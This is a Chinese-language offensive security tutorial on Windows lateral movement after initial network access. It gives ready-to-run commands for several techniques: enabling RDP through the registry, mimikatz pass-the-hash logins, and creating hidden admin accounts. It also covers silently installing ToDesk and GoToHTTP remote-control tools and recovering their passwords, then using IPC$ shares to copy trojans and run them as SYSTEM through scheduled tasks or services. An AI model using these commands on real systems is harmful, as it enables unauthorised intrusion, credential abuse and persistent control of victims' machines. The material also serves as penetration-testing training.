横向移动(上)
横向移动(上)
横向移动指的是攻击者在内网中获得初始访问权限之后,通过相关技术扩大敏感数据和高价值资产权限的行为
常见的横向移动的方式
1.通过web漏洞
2.通过远程桌面
3.通过账号密码
4.通过不安全的配置
5.通过系统漏洞
利用远控工具横向移动
利用远程桌面进行横向移动
远程桌面协议(RDP)是一个多通道(multi-channel)的协议,让使用者(所在计算机称为用户端或本地计算机)连上提供微软终端机服务的计算机(称为服务端或远程计算机)
远程桌面的利用条件
1、开启了3389端口
2、防火墙等安全设备没有禁止
3、网络必须相通(相互可以访问,不是单向访问)
4、拥有账号和密码(或者hash)(可以是本身的账号也可以是自己添加的)
一、查看3389的开放情况
1、可以使用netstat -ano查看端口开放情况
2、可以使用命令 开启3389
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /vfDenyTSConnections \t REG_DWORD /d 00000000 /f
3、查看RDP是否为3389
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\Winstations\RDP-Tcp" /V PortNumber
二、使用账号密码进行连接
1、可以使用密码抓取技术,抓取到账号和密码(明文)然后进行连接
2、如果说没有抓到明文的密码只有hash值,可以使用hash值进行连接
privilege::debug
sekurlsa::pth /user:administrator /domain:IP地址 /ntlm:Hash "/run:mstsc.exe /restrictedadmin"
3、使用自己新建的1账号密码进行连接
1、添加一个用户net user 用户名 密码/add
2、将用户添加到管理员 net localgroup Administrator 用户名 /add
利用远控工具Todesk横向移动
ToDesk是一款类似于向日葵的远程控制软件,但比向日葵更加流畅和稳定,它同样具备着内网穿透,文件传输,云端同步和流量加密等功能
有绿色精简版和全功能版两个版本,支持的系统有:Windows/Linux/MacOS/Android/IOS
第一步:
全功能版在双击运行、命令执行时都会出现UAC弹窗和安装界面,这样非常容易被管理员发现,/S参数可以实现静默安装
ToDesk.exe /S
第二步
运行ToDesk之后会在默认安装目录下生成一个config.ini的配置文件,存储的有设备代码、临时密码、安全密码以及登录用户和密码等重要的敏感信息,但密码都经过ToDesk特有的加密算法加密,所以不能通过解密获得明文密码,只需要找到主机ToDesk中tempAuthPassEx临时密码或者authPassEx安全密码,将他们覆盖到我们本地ToDesk中的tempAuthPassEx,重启ToDesk即可得到明文密码
type C:\"Program File (x86)"\ToDesk\config.ini
第三步
使用cs替换配置文件
[ConfigInfo]
screen_img=
PrivateScreenLockScreen=1
autoLockScreen=1
language=936
Version=4.7.6.3
clientId=905831141
tempAuthPassEx=08f431e069b5fd018daf1ce7fcba51d88e3fa3c97a396aa9157492455e28bb489142e39df3b5f6c2cb4782d1b7ecfb602f4b80a146c
updatePassTime=20250504213452
Resolution=1920x1080
TestHWCodecTime=20250504213452
第四步
关闭进程然后重启
shell tasklist 查找进程
shell taskkill /pid 2484 /F 删除进程
shell C:\Users\Administrator\Desktop\ToDesk\ToDesk.exe
利用远控工具GoToHTTP横向移动
GoToHTTP工作在B2C模式,使用远程控制时,不必在每一台电脑上都安装远程软件,不管身处何处,有浏览器就能访问远程电脑。即使公司网络管控,仍然可以控制或被控制,支持文件传输、无人值守、剪切板同步、远程语音、远程摄像头、多显示器支持
下载:http://www.gotohttp.com/goto/download.12x
第一步
使用CS或者其他工具将文件上传大到目标机器,并且运行程序
第二步
运行软件,运行之后会在运行目录下生成一个配置文件
查看配置文件里面有连接地址和账号密码
到网站首页输入id和密码就可以实现远程连接
同时右边还有一些快捷键,方便大家进行一些操作
IPC$横向移动
IPC$介绍和连接方式
IPC(Internet Process Connection)共享,是为了实现进程间通信而开放的命令管道。IPC可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看九三级的共享资源时使用。通过IPC$,可以与目标机器建立连接。利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获得目标机器的目录结构、用户列表等信息。
Windows电脑默认开启IPC
net share
共享文件
共享文件是指主动在网络上共享自己的计算机文件。默认共享是为了方便管理员进行远程管理而默认开启的,包括所有的逻辑盘,可以实现对这些默认共享目录的访问(如果当前主机A用户的账号是Administrator,目标机器B的账户administrator和A的administrator密码相同,不需要输入密码就可以访问,默认会使用本地相同的账号密码进行认证)
建立IPC$共享之后,就可以直接访问文件夹了
net use \\IP\ipc$ "password" /user:username(工作组)
net use \\域名\ipc$ "域成员密码" /user:域名\域成员账号(域用户)
net use \\IP\ipc$ /del(删除IPC)
IPC$利用条件和前提
利用条件
1、开启了139、445端口
IPC$可以实现远程登录及对默认共享资源的访问,445端口可以实现对共享文件打印机的访问。因此一般都需要445端口的支持
2、管理员开启了默认共享
默认共享是为了方便管理员进行远程管理而默认开启的,包括所有的逻辑盘,可以实现对这些默认共享目录的访问
3、必须知道对方机器的用户名和密码
共享命令
net share
net share c$ /del 删除共享
net share test=C:\ 设置C盘共享,共享名称为test
不同用户IPC$下的命令权限
IPC建立之后可以执行很多命令,比如
dir \\IP\c$
tasklist /sLP
type \\IP\c$\文件路径
net time \\IP地址
copy 文件 \\IP地址\C$
不同的用户能使用的命令也不一样,这里直接给大家总结一下,具体大家可以亲自尝试
命令 | administrator | 普通管理员 | 普通用户 | 域管理员 | 普通域用户 | 域administrator |
---|---|---|---|---|---|---|
dir | √ | × | × | √ | × | ×(只能和域控) |
type | √ | × | × | √ | × | ×(只能和域控) |
net time | √ | √ | √ | √ | √ | ×(只能和域控) |
copy | √ | × | × | √ | × | ×(只能和域控) |
在和另一台电脑建立IPC之后,可以将木马复制到该电脑上,但如何使该电脑运行木马文件呢,给大家提供几种方法
IPC$和计划任务配合横向
计划任务是系统的常见功能,利用计划任务功能,可以将任何脚本、程序或文档安排在某个最方便的时间运行。任务计划在每次系统启动的时候启动并在后台运行
windows xp 电脑使用at命令
Windows Xp 之后的电脑使用schtasks
创建IPC认证后,输入远程创建计划任务是不行的,还需要输入账号密码才可以
schtasks /create /s ip /u administrator /p password /tn 计划任务名 /tr c:/1.exe /sc onstart /RU System /Fschtasks /create /s ip /tn 计划任务名 /tr c:/1.exe /sc onstart /RU System /f 账号密码相同即可不用输入账号密码schtasks /run /s IP /u administrator /p password /i /tn "计划任务名" 运行计划任务
schtasks /delete /s IP /u administrator /p password /tn "计划任务名" /f 删除计划任务
运行之后机器就会上线,而且是system权限
IPC$和服务的配合横向
Microsoft Windows服务,可以使创建在他们自己的windows会话中可长时间运行的可执行应用程序
在建立IPC的情况下可以使用远程创建服务
创建服务
sc \\IP create 服务名 binpath= "cmd.exe /c c:\1.exe"
开启服务
sc \\IP start 服务名
这里启动服务时可能会显示失败,但没有影响,cs上一样会上线system权限的机器
删除服务
sc \\IP delete 服务名
IPC$和盘符映射横向
盘符映射就是将远程的共享盘映射到自己的电脑上然后操作自己的电脑就可以
net use k: \\IP\c$(前提是建立IPC的链接下)